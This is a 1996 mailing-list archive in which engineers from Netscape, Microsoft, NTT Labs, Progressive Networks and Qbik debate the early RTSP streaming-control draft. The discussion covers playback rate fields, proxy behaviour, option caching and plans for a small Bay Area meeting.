	id <AA12005>; Fri, 18 Oct 1996 12:35:10 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA11994>; Fri, 18 Oct 1996 12:35:09 -0700
Received: from c3po.mcom.com (h-198-93-92-27.netscape.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA17122>; Fri, 18 Oct 1996 12:35:06 -0700
Received: from stargazer.mcom.com (stargazer.mcom.com [207.1.142.55]) by c3po.mcom.com (8.7.5/8.7.3) with SMTP id MAA28699; Fri, 18 Oct 1996 12:35:05 -0700 (PDT)
Received: from stargazer by stargazer.mcom.com (SMI-8.6/SMI-SVR4)
	id MAA08014; Fri, 18 Oct 1996 12:36:04 -0700
Message-Id: <3267DC24.7A2A@netscape.com>
Date: Fri, 18 Oct 1996 12:36:04 -0700
From: Anup Rao <anup@netscape.com>
Organization: Netscape Communications Corp.
X-Mailer: Mozilla 3.0b6Gold (X11; U; SunOS 5.4 sun4m)
Mime-Version: 1.0
To: levi@microsoft.com
Cc: confctrl@isi.edu
Subject: Re: RTSP, FastFoward and FastReverse
References: <c=US%a=_%p=msft%l=RED-23-MSG-961016200839Z-72272@mail4.microsoft.com> <3267B3C6.1F55@netscape.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Steven Levi (CSD) wrote:
>
> Currently,  there is no way to do Fast Forward (FF) or Fast
> Reverse (FR) in RTSP. One simple way to do this would be to
> add a signed 32-bit "rate" field to the play range message.
>
> This feature would be very useful for video playback.
>

Absolutely. However, (as you have also pointed out below), we believe
this is a media specific property i.e the media itself may or may not be
conducive to allow this (type of) subsampling or upsampling. Further,
the server may or may not be up to performing this operation at a given
time. We see this being accomplished via the SetParam mechanism, and we
avoided defining this for RTSP-audio since it does not have any meaning
meaning. Also, it is a good idea that the transmitted data rate not
change at all for this operation.

Our attempt has been to put all the core properties of the realtime
stream in the control, and anything that does not apply to *all* media
streams in the family specific parameters/properties. An example of how
we see this being done is :

Family RTSP-video = 2.
Parameter = 1 : Format descriptor
Parameter = 2 : Video annotations
Parameter = 3 : SetSampleRate(n) for  up, SetSampleRate(1/n) for
slowdown.(Fractional rates also to be considered)

Client                         Server
fetch    --->
         <---               stream header

SetParam(SetSampleRate(5)) -->

         <-----             Reply or Refuse

PlayRange() ---->
           <-----            Data

        If the transmitted bandwidth changes even slightly,(for eg by
transmitting I frames only), the client should be informed of it in the
Reply. (Would strongly recommend that this possible change of rate
should be avoided by regulation at the server end)

        One might argue that this should belong in a message such as
play_range, as you have proposed. The downside of this is for some media
this has no meaning. Also, it would be a good idea to be able to query
the possibility(again via GetParam). We believe this mechanism is
inherently
more extensible, yet satisfies the requirements.

> A positive rate implies  forward:  From -> To
> A negative rate implies  reverse:  To -> From
>
        This should work fine.

Thank you very much for the input. We should probably  explain
some of this in the draft.

-- 
-----------------------------------------------------------------
  Anup Rao                                                      
  Netscape Communications Corp.  -  LiveMedia                   
  email : anup@netscape.com         Phone : (415) 937 3129       
-----------------------------------------------------------------

From majordom@ISI.EDU  Fri Oct 18 05:45:37 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA12604>; Fri, 18 Oct 1996 12:44:47 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA12587>; Fri, 18 Oct 1996 12:44:43 -0700
Received: from c3po.mcom.com (h-198-93-92-27.netscape.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA17551>; Fri, 18 Oct 1996 12:44:42 -0700
Received: from stargazer.mcom.com (stargazer.mcom.com [207.1.142.55]) by c3po.mcom.com (8.7.5/8.7.3) with SMTP id MAA28812; Fri, 18 Oct 1996 12:44:40 -0700 (PDT)
Received: from stargazer by stargazer.mcom.com (SMI-8.6/SMI-SVR4)
	id MAA08021; Fri, 18 Oct 1996 12:45:37 -0700
Message-Id: <3267DE61.348F@netscape.com>
Date: Fri, 18 Oct 1996 12:45:37 -0700
From: Anup Rao <anup@netscape.com>
Organization: Netscape Communications Corp.
X-Mailer: Mozilla 3.0b6Gold (X11; U; SunOS 5.4 sun4m)
Mime-Version: 1.0
To: adrien@qbik.com
Cc: confctrl@isi.edu
Subject: Re: draft-rao-rtsp-00.txt
References: <2.2.32.19961016233108.00928e04@wingate> <3267C713.7912@netscape.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Adrien de Croy wrote:

[SNIPs as appropriate]

>
> I only have a couple of comments, which I hope you will find useful.
>
> First off - it looks good.  What I have to say relates in the main to proxy
> servers, since that is where I am coming from, and am familiar with.
>
I have similar experience too, though only in application proxies. I
therefore understand most of your points.

>
> In general, a proxy does need to understand most of what it is passing
> through - the information required normally is limited to
>
> 1. Client location / identification information (IP / port / ID)
> 2. Server location / identification information (IP / port / ID)
> 3. Requested resource information (file name / type / size)
>
> These are the data that proxy servers need in order to make their decisions
> about whether or not to fulfil a client request.
>
> However, with the proposed protocol, there are many ways of conveying some
> of this information - e.g
>
> REDIRECT
This should just result in a new connection or fetch(i.e go back to
square 1 as far as the proxy is concerned.) Could you explain to me why
you see this as a problem?
Likewise for EVENT_NOTIFY.

> FETCH (like the flags!)

The idea is that fetch and stream_header convey all the generic
information for the stream.

> EVENT_NOTIFY

> If the proxy needs to understand a large part of the protocol in order to
> extract this information , then it becomes difficult to implement a proxy,
> and problematic when the protocol is extended.
>

This is always an issue. The more the proxy needs to understand, the
more complex it is(But, I believe more secure). However, it is difficult
to justify curbing the extensibility of the protocol due to this reason.
Our attempt has been to:

a) Provide basic stream information in the protocol. Rate/max transport
size/generic type etc via fetch and stream_header. Transport channel
information via set_transport.
The idea is that the connection can be proxied/tunneled using this
information.

b) have media specific properties set in set/get param. If a proxy
wanted to be really clever, it could use this information. But it should
not need to. Likewise with things that change the rate like set_speed,
for example if the proxy wanted to control total bandwidth.


> 1. The client must be aware when it is talking to a proxy server (obviously)
> rather than a server. A server should also be aware if a proxy is connecting
> to it rather than a client, as it may wish to give priority - e.g where a
> proxy is re-casting a live broadcast to many clients.  I propose you add a
> field into the HELLO packet to determine the agent type (client, proxy,
> re-caster, or server).
>
We had actually envisaged using the sub-protocol field for this. It is a
valid requirement.

> ----------------------------------------------------------------------------
> ----------------------------
>
> 2. It must be made clear when there is a control connection between the
> client and destination server, and that no OPTION (or even GETPARAM /
> SETPARAM) packets are sent until that time - to ensure that the client only
> ever negotiates these with the end server.
> >
Assuming that these(option/param) requests are small and few in number,
is there a problem in the proxy caching them until the  end-end control
tunnel is established ? We have done this in the past. Having the client
wait just increases the response time due to round trip delays.

> ----------------------------------------------------------------------------
> ----------------------------
>
> 3. Add a FETCH_RESPONSE packet.  This allows a proxy (or a server) to
> decline a request gracefully, and also tells the client when it should
> continue with its protocol.  The proxy would establish communications with
> the server before sending back the response.  The client should not send any
> more packets until it has received the FETCH_RESPONSE packet.
>
> ----------------------------------------------------------------------------
> ----------------------------
Same answer as above.
The fetch_response is really the stream header though. So it  really
becomes a question of whether the client should wait for it before
sending anything  not needing the information of stream_header.

>
> 4. the FETCH packet for a proxy request must contain the server and port number.
>
Yes, it is supposed to. In a simple client-server case it would be
RTSP://server:port/name.


> I would propose: (e.g client connects to proxy1:port and sends FETCH with
> following URL)
>
> RTSP://proxy2host:port/RTSP://proxy3host:port/RTSP://serverhost:port/resource
>

The difference here is that you are proposing that the client knows the
route.
I think in most cases it would be up to proxies to(be configured to)
define the route and use nhops to make sure it does not get out of hand.
This is the way most routing(telephony/IP) works today  for the most
part. To make things clearer:-
 
Client A talks to a proxy B
fetch(rtsp://abcd:nnn/resource_name).

Proxy B is set up to direct requests for abcd:nn to Proxy C.
B->C:
fetch(rtsp://abcd:nnn/resource_name).

Proxy C talks to server abcd:nnnn and sets up a tunnel from A to server
abcd.

However, I do not see a problem in the client optionally specifying the
route(something like IP loose source routing). It could have advantages
in some cases.

>
> Each agent should decrement the hop count as the packets pass through so
> that the original hop count specified by the client is honoured.

That is exactly what was meant, though not explicitly stated.

>
> ----------------------------------------------------------------------------
> ----------------------------
>
> 5. You may like to think about the situation of a re-caster.  A re-caster is
> an agent that re-broadcasts a live feed to reduce backbone bandwidth.  These
> are usful where multi-cast is not available.  A re-caster serving many
> connected clients on a stream arguably deserves a higher priority and
> bandwidth from a source provider than a single client.  A mechanism for
> specifying and updating a count of connected clients would be useful
> information for a server to decide on its priorities.
>

Excellent point. We have experienced problems trying to do this with a
basic client-server protocol. Would you agree though that the basic
client-server protocol should not be taxed by all of this and should
remain simple ? We think this is really an application-level
routing/multicast issue which has great possibilites, but poses some
interesting questions and needs to be brainstormed further.

> Hope this is useful.
>

It sure is. Thanks.

-- 
-----------------------------------------------------------------
  Anup Rao                                                      
  Netscape Communications Corp.  -  LiveMedia                   
  email : anup@netscape.com         Phone : (415) 937 3129       
-----------------------------------------------------------------

From majordom@ISI.EDU  Fri Oct 18 05:47:04 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13331>; Fri, 18 Oct 1996 12:54:48 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13292>; Fri, 18 Oct 1996 12:54:39 -0700
Received: from mailhost.nttlabs.com (ns.nttlabs.com) by quark.isi.edu (5.65c/5.61+local-23)
	id <AA25863>; Fri, 18 Oct 1996 12:54:34 -0700
Received: from ornette.nttlabs.com by mailhost.nttlabs.com (8.7.6/3.5Wbeta(96/09/06))
	id MAA15767; Fri, 18 Oct 1996 12:50:47 -0700 (PDT)
Received: from coltrane.nttlabs.com (localhost.nttlabs.com [127.0.0.1]) by ornette.nttlabs.com (8.7.5/8.7.3) with ESMTP id TAA06574; Fri, 18 Oct 1996 19:47:05 GMT
Message-Id: <199610181947.TAA06574@ornette.nttlabs.com>
To: Martin Dunsmuir <martind@prognet.com>
Cc: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>,
        Mark Handley <M.Handley@cs.ucl.ac.uk>, tim@boxtop.com (Tim Dorcey),
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>, confctrl@ISI.EDU
Subject: Re: Re : RTSP 
Reply-To: sumisu@nttlabs.com (Jeffrey D. Smith)
In-Reply-To: Your message of "Fri, 18 Oct 1996 10:40:30 PDT"
References: <2.2.32.19961018174030.0090ccd0@mail.prognet.com> 
Date: Fri, 18 Oct 1996 12:47:04 -0700
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I personally believe that a smaller meeting of "key individuals" would
be more productive (our research on collaboration shows max
10)... essentially a BOF.

I have not received massive response from my offer - about 5 or 6
people - so I still believe a smaller meeting is in line.

We also have facilities for mbone'ing the meeting so Mark and others
may be able to participate.

If people disagree then let me know I'm willing to be persuaded
otherwise - but I do not intend this meeting to "replace" discussions
at the IETF nor do I want it to be a "sell job" for RTSP.  I'm hoping
for focused, constructive discussion finding "common ground" and
exploring the various facets of stream control in 1:1,1:n,n:1,n:n
situations - this usually means a small number of people.

Rob Lanphier has contacted me as has a person from Microsoft.


 |>I think it would be a great idea to have anyone interested meet soon in the
 |>Bay Area to discuss RTSP.
 |>
 |>Rob Lanphier is the contact here at Progressive. If NTT could host it would
 |>be great, but we would also I am sure be able to meet at Netscape.


I hope to have an agenda and list of attendees up on the web beginning
of next week.  Probably in http://www.nttlabs.com/~sumisu/streams-bof/

js

--
 Jeffrey D. Smith     $B!Z%8%'%U%j!<!&%9%_%9![(B
 Nippon Telegraph and Telephone Corporation   
 Software Laboratories Palo Alto	              
 250 Cambridge Ave., Suite 205			TEL  +1 415 833 3605
 Palo Alto, CA 94306				FAX  +1 415 326 1878
					 	ISDN +1 415 843 0667

 pgp-fingerprint: C1 EE A9 BD B1 E9 2E 9A  03 CF 6B E1 CF C4 D0 0D
 e-mail: sumisu@nttlabs.com

From majordom@ISI.EDU  Fri Oct 18 06:04:05 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14351>; Fri, 18 Oct 1996 13:04:14 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14345>; Fri, 18 Oct 1996 13:04:13 -0700
Received: from mail.microsoft.com (mail1.microsoft.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA18585>; Fri, 18 Oct 1996 13:04:13 -0700
Received: by mail.microsoft.com with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.994.56)
	id <01BBBCF4.DC5C9E00@mail.microsoft.com>; Fri, 18 Oct 1996 13:04:13 -0700
Message-Id: <c=US%a=_%p=msft%l=RED-23-MSG-961018200405Z-79550@mail.microsoft.com>
From: "Steven Levi (CSD)" <levi@microsoft.com>
To: 'Anup Rao' <anup@netscape.com>
Cc: "'confctrl@isi.edu'" <confctrl@isi.edu>
Subject: RE: RTSP, FastFoward and FastReverse
Date: Fri, 18 Oct 1996 13:04:05 -0700
X-Mailer:  Microsoft Exchange Server Internet Mail Connector Version 4.0.994.56
Encoding: 100 TEXT
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Rao, thaks for your resonse.

Using Get/Set param to negotiate the definition of the rate field in the
is a good idea.  I still think it  makes sense though for the play
message 
to contain this information.  Any given  server can: 

1) ignore it 
2) use a default definition (if we can agree on one)
3) use Get/Set PARAMs  to alter its meaning. 

If I want to play at rate 4 and then play at rate 5 I should not 
have to send  setparam(), play(), setparam(), play(). I would rather: 

     setparam  (rate definition)  
     ...
     play(range1, 4) 
     play(range2,5)

And minimize control communications. The fact that the interface 
contains a field not supported in all cases should really be a problem. 

Steven Levi
Microsoft  - NetShow


>----------
>From: 	Anup Rao[SMTP:anup@netscape.com]
>Sent: 	Friday, October 18, 1996 12:36 PM
>To: 	Steven Levi (CSD)
>Cc: 	confctrl@isi.edu
>Subject: 	Re: RTSP, FastFoward and FastReverse
>
>Steven Levi (CSD) wrote:
>>
>> Currently,  there is no way to do Fast Forward (FF) or Fast
>> Reverse (FR) in RTSP. One simple way to do this would be to
>> add a signed 32-bit "rate" field to the play range message.
>>
>> This feature would be very useful for video playback.
>>
>
>Absolutely. However, (as you have also pointed out below), we believe
>this is a media specific property i.e the media itself may or may not be
>conducive to allow this (type of) subsampling or upsampling. Further,
>the server may or may not be up to performing this operation at a given
>time. We see this being accomplished via the SetParam mechanism, and we
>avoided defining this for RTSP-audio since it does not have any meaning
>meaning. Also, it is a good idea that the transmitted data rate not
>change at all for this operation.
>
>Our attempt has been to put all the core properties of the realtime
>stream in the control, and anything that does not apply to *all* media
>streams in the family specific parameters/properties. An example of how
>we see this being done is :
>
>Family RTSP-video = 2.
>Parameter = 1 : Format descriptor
>Parameter = 2 : Video annotations
>Parameter = 3 : SetSampleRate(n) for  up, SetSampleRate(1/n) for
>slowdown.(Fractional rates also to be considered)
>
>Client                         Server
>fetch    --->
>         <---               stream header
>
>SetParam(SetSampleRate(5)) -->
>
>         <-----             Reply or Refuse
>
>PlayRange() ---->
>           <-----            Data
>
>        If the transmitted bandwidth changes even slightly,(for eg by
>transmitting I frames only), the client should be informed of it in the
>Reply. (Would strongly recommend that this possible change of rate
>should be avoided by regulation at the server end)
>
>        One might argue that this should belong in a message such as
>play_range, as you have proposed. The downside of this is for some media
>this has no meaning. Also, it would be a good idea to be able to query
>the possibility(again via GetParam). We believe this mechanism is
>inherently
>more extensible, yet satisfies the requirements.
>
>> A positive rate implies  forward:  From -> To
>> A negative rate implies  reverse:  To -> From
>>
>        This should work fine.
>
>Thank you very much for the input. We should probably  explain
>some of this in the draft.
>
>-- 
>-----------------------------------------------------------------
>  Anup Rao                                                      
>  Netscape Communications Corp.  -  LiveMedia                   
>  email : anup@netscape.com         Phone : (415) 937 3129       
>-----------------------------------------------------------------
>

From majordom@ISI.EDU  Fri Oct 18 05:04:11 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15897>; Fri, 18 Oct 1996 13:25:00 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15891>; Fri, 18 Oct 1996 13:24:59 -0700
Received: from mail4.microsoft.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA19759>; Fri, 18 Oct 1996 13:24:55 -0700
Received: by mail4.microsoft.com with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.994.56)
	id <01BBBCF7.BCA710B0@mail4.microsoft.com>; Fri, 18 Oct 1996 13:24:49 -0700
Message-Id: <c=US%a=_%p=msft%l=RED-81-MSG-961018190411Z-2863@mail4.microsoft.com>
From: Thomas Pfenning <thomaspf@microsoft.com>
To: "'mankin@isi.edu'" <mankin@isi.edu>
Cc: "'confctrl@isi.edu'" <confctrl@isi.edu>,
        "'mhandley@cs.ucl.ac.uk'"
	 <mhandley@cs.ucl.ac.uk>,
        "'casner@precept.com'"
	 <casner@precept.com>
Subject: RE: RTSP <--> MMUSIC 
Date: Fri, 18 Oct 1996 12:04:11 -0700
X-Mailer:  Microsoft Exchange Server Internet Mail Connector Version 4.0.994.56
Encoding: 29 TEXT
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Okay, this track did not show up on the Agenda sent out today along with
the registration form? I saw your mail that you encourage the discussion
within mmusic/avt. I was wondering what the outcome of the discussion
shall be.


Cheers

	Thomas
>-----Original Message-----
>From:	Allison Mankin [SMTP:mankin@metro.isi.edu]
>Sent:	Friday, October 18, 1996 6:28 AM
>To:	Thomas Pfenning
>Cc:	confctrl@ISI.EDU; mhandley@cs.ucl.ac.uk; casner@precept.com
>Subject:	Re: RTSP <--> MMUSIC 
>
>Thomas,
>
>The WG sessions for the TSV area will all appear at once,
>as we treat them as a track.  We are planning two sessions
>for MMUSIC in San Jose, and, as Mark said, I have encouraged
>the WG to discuss RTSP, with aspects that are being
>developed in AVT being discussed there.  We plan two sessions
>for AVT as well.
>
>Times soon.
>
>Allison Mankin
>TSV Area Co-Director

From majordom@ISI.EDU  Fri Oct 18 07:50:33 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA21580>; Fri, 18 Oct 1996 14:54:33 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA21573>; Fri, 18 Oct 1996 14:54:32 -0700
Received: from mailhost.nttlabs.com (ns.nttlabs.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA24512>; Fri, 18 Oct 1996 14:54:31 -0700
Received: from ornette.nttlabs.com by mailhost.nttlabs.com (8.7.6/3.5Wbeta(96/09/06))
	id OAA18182; Fri, 18 Oct 1996 14:54:30 -0700 (PDT)
Received: from coltrane.nttlabs.com (localhost.nttlabs.com [127.0.0.1]) by ornette.nttlabs.com (8.7.5/8.7.3) with ESMTP id VAA06805; Fri, 18 Oct 1996 21:50:33 GMT
Message-Id: <199610182150.VAA06805@ornette.nttlabs.com>
To: Martin Dunsmuir <martind@prognet.com>
Cc: confctrl@ISI.EDU
Subject: Streams BOF II (was Re: Re: RTSP)
Reply-To: sumisu@nttlabs.com (Jeffrey D. Smith)
In-Reply-To: Your message of "Fri, 18 Oct 1996 10:40:30 PDT"
References: <2.2.32.19961018174030.0090ccd0@mail.prognet.com> 
Date: Fri, 18 Oct 1996 14:50:33 -0700
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

>Martin Dunsmuir <martind@prognet.com>:
>I think it would be a great idea to have anyone interested meet soon
>in the Bay Area to discuss RTSP.

For all interested parties - I have ten people planning to attend the
Bay Area meeting to conduct preliminary discussions regarding finding
common ground between RTSP and other work taking place.  These people
include the authors of RTSP and the chair of AVT...

As I said in my last post - I really prefer a small, concentrated
gathering for this meeting.  I don't intend this to be "exclusive" but
I am going to have to go with the ten members we have now for the
first meeting.

I will multicast the session (look for announcement in SDR).

Those of you attending the Real Time Web workshop next week in France
please talk to the guys from Progressive and to Mark Handley - your
input will make it to the meeting this way.

js

--
 Jeffrey D. Smith     $B!Z%8%'%U%j!<!&%9%_%9![(B
 Nippon Telegraph and Telephone Corporation   
 Software Laboratories Palo Alto	              
 250 Cambridge Ave., Suite 205			TEL  +1 415 833 3605
 Palo Alto, CA 94306				FAX  +1 415 326 1878
					 	ISDN +1 415 843 0667

 pgp-fingerprint: C1 EE A9 BD B1 E9 2E 9A  03 CF 6B E1 CF C4 D0 0D
 e-mail: sumisu@nttlabs.com

From majordom@ISI.EDU  Fri Oct 18 18:46:26 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA02329>; Fri, 18 Oct 1996 18:46:26 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA02323>; Fri, 18 Oct 1996 18:46:24 -0700
Received: from beast.qbik.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA12525>; Fri, 18 Oct 1996 18:46:22 -0700
Received: from bertha (127.0.0.1) by 127.0.0.1
 (EMWAC SMTPRS 0.81) with SMTP id <B0000035225@127.0.0.1>;
 Sat, 19 Oct 1996 14:48:21 +1300
Message-Id: <2.2.32.19961019014817.009418ac@wingate>
X-Sender: adrien#wingate:8110@wingate
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Sat, 19 Oct 1996 14:48:17 +1300
To: Anup Rao <anup@netscape.com>
From: Adrien de Croy <adrien@qbik.com>
Subject: Re: draft-rao-rtsp-00.txt
Cc: confctrl@isi.edu
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 12:45 18/10/96 -0700, Anup Rao wrote:
>Adrien de Croy wrote:
>
>[SNIPs as appropriate]
>
>>
>> I only have a couple of comments, which I hope you will find useful.
>>
>> First off - it looks good.  What I have to say relates in the main to proxy
>> servers, since that is where I am coming from, and am familiar with.
>>
>I have similar experience too, though only in application proxies. I
>therefore understand most of your points.
>

OK, my experience is also pretty much completely in application-level proxies.

>>
>> In general, a proxy does need to understand most of what it is passing
>> through - the information required normally is limited to
>>
>> 1. Client location / identification information (IP / port / ID)
>> 2. Server location / identification information (IP / port / ID)
>> 3. Requested resource information (file name / type / size)
>>
>> These are the data that proxy servers need in order to make their decisions
>> about whether or not to fulfil a client request.
>>
>> However, with the proposed protocol, there are many ways of conveying some
>> of this information - e.g
>>
>> REDIRECT
>This should just result in a new connection or fetch(i.e go back to
>square 1 as far as the proxy is concerned.) Could you explain to me why
>you see this as a problem?
>Likewise for EVENT_NOTIFY.
>
>> FETCH (like the flags!)
>
>The idea is that fetch and stream_header convey all the generic
>information for the stream.
>
>> EVENT_NOTIFY

OK, in answer to your question above, and reading that bit of the spec
again, I must have missed something.  If the REDIRECT and EVENT_NOTIFY
simply "reset" the protocol back to a FETCH, then I don't see any problem,
as the proxy will still be controlling any subsequent request.

>
>> If the proxy needs to understand a large part of the protocol in order to
>> extract this information , then it becomes difficult to implement a proxy,
>> and problematic when the protocol is extended.
>>
>
>This is always an issue. The more the proxy needs to understand, the
>more complex it is(But, I believe more secure). However, it is difficult
>to justify curbing the extensibility of the protocol due to this reason.
>Our attempt has been to:

I am not proposing curbing the extensibility of the protocol, I was just
querying whether it should be made mandatory that a proxy understand this
aspect of the protocol rather than giving the proxy the opportunity to
defer.  The more difficult it is to implement a proxy, the longer it will
take, and at the rate at which the number of proxy users is growing, this
affects a large number of users.  I agree that the more a proxy understands
a protocol, the more secure it can be made.  There is a flip-side to that as
well, in that the more a proxy understands, the more an administrator needs
to understand in order to configure the proxy.

>
>a) Provide basic stream information in the protocol. Rate/max transport
>size/generic type etc via fetch and stream_header. Transport channel
>information via set_transport.
>The idea is that the connection can be proxied/tunneled using this
>information.
>
>b) have media specific properties set in set/get param. If a proxy
>wanted to be really clever, it could use this information. But it should
>not need to. Likewise with things that change the rate like set_speed,
>for example if the proxy wanted to control total bandwidth.
>

I guess where I am coming from is an aspect of connectivity. I agree that
the protocol needs to incorporate the commands for handling the streaming
media.  However the main purpose of an application proxy is to provide
connectivity to a client, restrictions and regulation are a secondary job.
If you separate the connectivity functions from the other functions of the
protocol, then the primary job of a proxy can be achieved easily.  A better
proxy will always understand more of the protocol, however I believe we may
be setting the minimum understanding higher than appropriate.

I guess I am just being lazy here, since I will undoubtedly need to write an
application-level proxy for this protocol.

>
>> 1. The client must be aware when it is talking to a proxy server (obviously)
>> rather than a server. A server should also be aware if a proxy is connecting
>> to it rather than a client, as it may wish to give priority - e.g where a
>> proxy is re-casting a live broadcast to many clients.  I propose you add a
>> field into the HELLO packet to determine the agent type (client, proxy,
>> re-caster, or server).
>>
>We had actually envisaged using the sub-protocol field for this. It is a
>valid requirement.

OK, I guess this just needs to be documented in the spec so people can
standardise.

>
>> ----------------------------------------------------------------------------
>> ----------------------------
>>
>> 2. It must be made clear when there is a control connection between the
>> client and destination server, and that no OPTION (or even GETPARAM /
>> SETPARAM) packets are sent until that time - to ensure that the client only
>> ever negotiates these with the end server.
>> >
>Assuming that these(option/param) requests are small and few in number,
>is there a problem in the proxy caching them until the  end-end control
>tunnel is established ? We have done this in the past. Having the client
>wait just increases the response time due to round trip delays.

I guess caching could get around it.  As soon as the option negotiation
process becomes more drawn out and complex, as happened with telnet, you run
into problems.  Maybe I am just recalling bad experiences with telnet, as
with telnet the proxy actually needed to understand and act on many of the
options, and also cache them.

Caching options may also render the proxy vulnerable.  Consider the following.

hacker connects to proxy.

Sends option / getparam/setparam commands until the proxy runs out of memory
and crashes.

While this may seem unlikely, and you could set a limit on the number of
options etc a proxy would cache, this would have to be an arbitrary limit,
and would then limit the extensibility of the option negotiation process

remember also that there are a large number of proxy servers running on
low-spec machines with less-than-optimally-stable OSs (e.g Win 95),
providing access to large numbers of users.

there is also no reason why a client could not behave differently talking to
a proxy than a server.  If a client knows it is talking to a proxy, it could
wait for receipt of a certain packet before sending option negotiations etc
etc, whereas if it knew it was talking to a server, it could go straight
ahead.  I don't believe this would add much complexity at all to the
requirements of a client.


>
>> ----------------------------------------------------------------------------
>> ----------------------------
>>
>> 3. Add a FETCH_RESPONSE packet.  This allows a proxy (or a server) to
>> decline a request gracefully, and also tells the client when it should
>> continue with its protocol.  The proxy would establish communications with
>> the server before sending back the response.  The client should not send any
>> more packets until it has received the FETCH_RESPONSE packet.
>>
>> ----------------------------------------------------------------------------
>> ----------------------------
>Same answer as above.
>The fetch_response is really the stream header though. So it  really
>becomes a question of whether the client should wait for it before
>sending anything  not needing the information of stream_header.

Understood.
>
>>
>> 4. the FETCH packet for a proxy request must contain the server and port
number.
>>
>Yes, it is supposed to. In a simple client-server case it would be
>RTSP://server:port/name.
>
>
>> I would propose: (e.g client connects to proxy1:port and sends FETCH with
>> following URL)
>>
>> RTSP://proxy2host:port/RTSP://proxy3host:port/RTSP://serverhost:port/resource
>>
>
>The difference here is that you are proposing that the client knows the
>route.
>I think in most cases it would be up to proxies to(be configured to)
>define the route and use nhops to make sure it does not get out of hand.
>This is the way most routing(telephony/IP) works today  for the most
>part. To make things clearer:-
> 
>Client A talks to a proxy B
>fetch(rtsp://abcd:nnn/resource_name).
>
>Proxy B is set up to direct requests for abcd:nn to Proxy C.
>B->C:
>fetch(rtsp://abcd:nnn/resource_name).
>
>Proxy C talks to server abcd:nnnn and sets up a tunnel from A to server
>abcd.
>
>However, I do not see a problem in the client optionally specifying the
>route(something like IP loose source routing). It could have advantages
>in some cases.

Sure.  

>
>>
>> Each agent should decrement the hop count as the packets pass through so
>> that the original hop count specified by the client is honoured.
>
>That is exactly what was meant, though not explicitly stated.
>
>>
>> ----------------------------------------------------------------------------
>> ----------------------------
>>
>> 5. You may like to think about the situation of a re-caster.  A re-caster is
>> an agent that re-broadcasts a live feed to reduce backbone bandwidth.  These
>> are usful where multi-cast is not available.  A re-caster serving many
>> connected clients on a stream arguably deserves a higher priority and
>> bandwidth from a source provider than a single client.  A mechanism for
>> specifying and updating a count of connected clients would be useful
>> information for a server to decide on its priorities.
>>
>
>Excellent point. We have experienced problems trying to do this with a
>basic client-server protocol. Would you agree though that the basic
>client-server protocol should not be taxed by all of this and should
>remain simple ? We think this is really an application-level
>routing/multicast issue which has great possibilites, but poses some
>interesting questions and needs to be brainstormed further.
>

I understand.  I guess this is getting more into the realms of a
server-server protocol.  Maybe the protocol needs to define client-server,
and server-server comms.

Regards

Adrien de Croy


>> Hope this is useful.
>>
>
>It sure is. Thanks.
>
>-- 
>-----------------------------------------------------------------
>  Anup Rao                                                      
>  Netscape Communications Corp.  -  LiveMedia                   
>  email : anup@netscape.com         Phone : (415) 937 3129       
>-----------------------------------------------------------------
>
-------------------------------------------------------------------------------
Adrien de Croy - adrien@qbik.com.  Qbik Software Limited, Auckland, New Zealand
                 See our pages and learn about WinGate at http://www.qbik.com/
-------------------------------------------------------------------------------


From majordom@ISI.EDU  Sat Oct 19 12:37:55 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23049>; Sat, 19 Oct 1996 19:38:04 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23043>; Sat, 19 Oct 1996 19:38:01 -0700
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA26766>; Sat, 19 Oct 1996 19:37:58 -0700
Received: from office (blv-mx1-ip1.halcyon.com) by murrow.prognet.com with SMTP id AA13952
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Sat, 19 Oct 1996 19:37:55 -0700
Date: Sat, 19 Oct 1996 19:37:55 -0700
Message-Id: <199610200237.AA13952@murrow.prognet.com>
X-Sender: martind@prognet.com
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: sumisu@nttlabs.com (Jeffrey D. Smith),
        Martin Dunsmuir <martind@prognet.com>
